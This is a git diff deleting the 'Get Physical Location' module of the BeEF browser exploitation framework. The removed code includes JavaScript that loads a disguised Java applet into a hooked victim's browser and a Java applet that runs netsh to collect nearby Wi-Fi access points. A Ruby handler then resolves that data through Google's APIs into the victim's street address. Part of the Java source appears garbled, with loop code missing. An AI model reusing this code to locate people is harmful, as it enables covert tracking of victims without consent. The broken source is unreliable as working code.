diff --git a/modules/host/get_physical_location/command.js b/modules/host/get_physical_location/command.js deleted file mode 100755 index cfdf95a7c..000000000 --- a/modules/host/get_physical_location/command.js +++ /dev/null @@ -1,21 +0,0 @@ -/* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net - * Browser Exploitation Framework (BeEF) - http://beefproject.com - * See the file 'doc/COPYING' for copying permission - */ - -beef.execute(function() { - var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/getGPSLocation.jar'; - var applet_id = '<%= @applet_id %>'; - var applet_name = '<%= @applet_name %>'; - var output; - beef.dom.attachApplet(applet_id, 'Microsoft_Corporation', 'getGPSLocation' , - null, applet_archive, null); - output = document.Microsoft_Corporation.getInfo(); - if (output) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'location_info='+output); - } - beef.dom.detachApplet('getGPSLocation'); -}); - - diff --git a/modules/host/get_physical_location/config.yaml b/modules/host/get_physical_location/config.yaml deleted file mode 100755 index 4e32b1b96..000000000 --- a/modules/host/get_physical_location/config.yaml +++ /dev/null @@ -1,17 +0,0 @@ -# -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - http://beefproject.com -# See the file 'doc/COPYING' for copying permission -# - -beef: - module: - get_physical_location: - enable: true - category: "Host" - name: "Get Physical Location" - description: "This module will retrieve geolocation information based on the neighboring wireless access points using commands encapsulated within a signed Java Applet.

The details will include:


If the victim machine has a firewall that monitors outgoing connections (Zonealaram, LittleSnitch, ..), calls to Google maps will be alerted." - authors: ["keith_lee @keith55 http://milo2012.wordpress.com", "antisnatchor"] - target: - working: ["IE"] - user_notify: ["C", "S", "O", "FF"] diff --git a/modules/host/get_physical_location/getGPSLocation.class b/modules/host/get_physical_location/getGPSLocation.class deleted file mode 100755 index 7a75951d9..000000000 Binary files a/modules/host/get_physical_location/getGPSLocation.class and /dev/null differ diff --git a/modules/host/get_physical_location/getGPSLocation.jar b/modules/host/get_physical_location/getGPSLocation.jar deleted file mode 100755 index 27813788d..000000000 Binary files a/modules/host/get_physical_location/getGPSLocation.jar and /dev/null differ diff --git a/modules/host/get_physical_location/getGPSLocation.java b/modules/host/get_physical_location/getGPSLocation.java deleted file mode 100755 index 8f3474ddb..000000000 --- a/modules/host/get_physical_location/getGPSLocation.java +++ /dev/null @@ -1,184 +0,0 @@ -/* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net - * Browser Exploitation Framework (BeEF) - http://beefproject.com - * See the file 'doc/COPYING' for copying permission - */ - -import java.io.*; -import java.util.*; -import java.net.*; -import java.applet.*; -import java.util.regex.Matcher; -import java.util.regex.Pattern; - -// Keith Lee -// Twitter: @keith55 -// http://milo2012.wordpress.com -// keith.lee2012[at]gmail.com - -public class getGPSLocation extends Applet{ - public static String result = ""; - - public getGPSLocation(){ - super(); - return; - } - public static String getInfo() { - return result; - } - - public void init() { - if (isWindows()) { - result=getWindows(); - } else if (isMac()) { - result=getMac(); - } else { - //System.out.println("Your OS is not support!!"); - } - } - - public static String getWindows(){ - try { - - ArrayList ssidList = new ArrayList(); - ArrayList bssidList = new ArrayList(); - ArrayList rssiList = new ArrayList(); - - Process p = Runtime.getRuntime().exec("netsh wlan show networks mode=bssid"); - - BufferedReader in = new BufferedReader( - new InputStreamReader(p.getInputStream())); - String line = null; - String signal = null; - String ssidStr = null; - - while ((line = in.readLine()) != null) { - - Pattern p1 = Pattern.compile("(SSID\\s\\d+\\s:)\\s([\\w\\s]*)"); - Matcher m1 = p1.matcher(line); - if(m1.find()){ - ssidStr = m1.group(2); - ssidStr = ssidStr.replaceAll(" ","%20"); - ssidList.add(ssidStr); - } - Pattern p2 = Pattern.compile("(BSSID\\s1\\s*:)\\s((.?)*)"); - Matcher m2 = p2.matcher(line); - if(m2.find()){ - bssidList.add(m2.group(2)); - } - Pattern p3 = Pattern.compile("(Signal\\s*):\\s((.?)*)"); - Matcher m3 = p3.matcher(line); - if(m3.find()){ - signal = m3.group(2); - signal = signal.replaceAll("%",""); - signal = signal.replaceAll(" ",""); - signal = "-"+signal; - rssiList.add(signal); - } - } - - int arraySize=ssidList.size(); - if(arraySize==0){ - result="\nI don't know where the target is"; - } - else{ - result=googleLookup(bssidList,ssidList,rssiList); - } - } catch (Exception e) { - System.out.println(e.getMessage()); - } - return result; - } - - public static String googleLookup(ArrayList bssidList,ArrayList ssidList,ArrayList rssiList){ - String queryString = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true"; - try { - int j=0; - while(j= 0); - - } - - public static boolean isMac() { - - String os = System.getProperty("os.name").toLowerCase(); - // Mac - return (os.indexOf("mac") >= 0); - - } - - public static boolean isLinux() { - - String os = System.getProperty("os.name").toLowerCase(); - // linux or unix - return (os.indexOf("nix") >= 0 || os.indexOf("nux") >= 0); - - } - - } diff --git a/modules/host/get_physical_location/module.rb b/modules/host/get_physical_location/module.rb deleted file mode 100755 index ab53077b6..000000000 --- a/modules/host/get_physical_location/module.rb +++ /dev/null @@ -1,40 +0,0 @@ -# -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - http://beefproject.com -# See the file 'doc/COPYING' for copying permission -# - -require 'rubygems' -require 'json' -require 'open-uri' - -class Get_physical_location < BeEF::Core::Command - - def pre_send - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_physical_location/getGPSLocation.jar', '/getGPSLocation', 'jar') - end - - def post_execute - results = @datastore['results'].to_s - results = results.gsub("location_info=","") - - response = open(results).read - result = JSON.parse(response) - reverseGoogleUrl = "https://maps.googleapis.com/maps/geo?q="+result['location']['lat'].to_s+','+result['location']['lng'].to_s+"&output=json&sensor=true_or_false" - googleResults = open(reverseGoogleUrl).read - jsonGoogleResults = JSON.parse(googleResults) - - addressFound = jsonGoogleResults['Placemark'][0]['address'] - - writeToResults = Hash.new - writeToResults['data'] = addressFound - BeEF::Core::Models::Command.save_result(@datastore['beefhook'], @datastore['cid'] , @friendlyname, writeToResults, 0) - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getGPSLocation.jar') - - content = {} - content['Result'] = addressFound - save content - end - -end -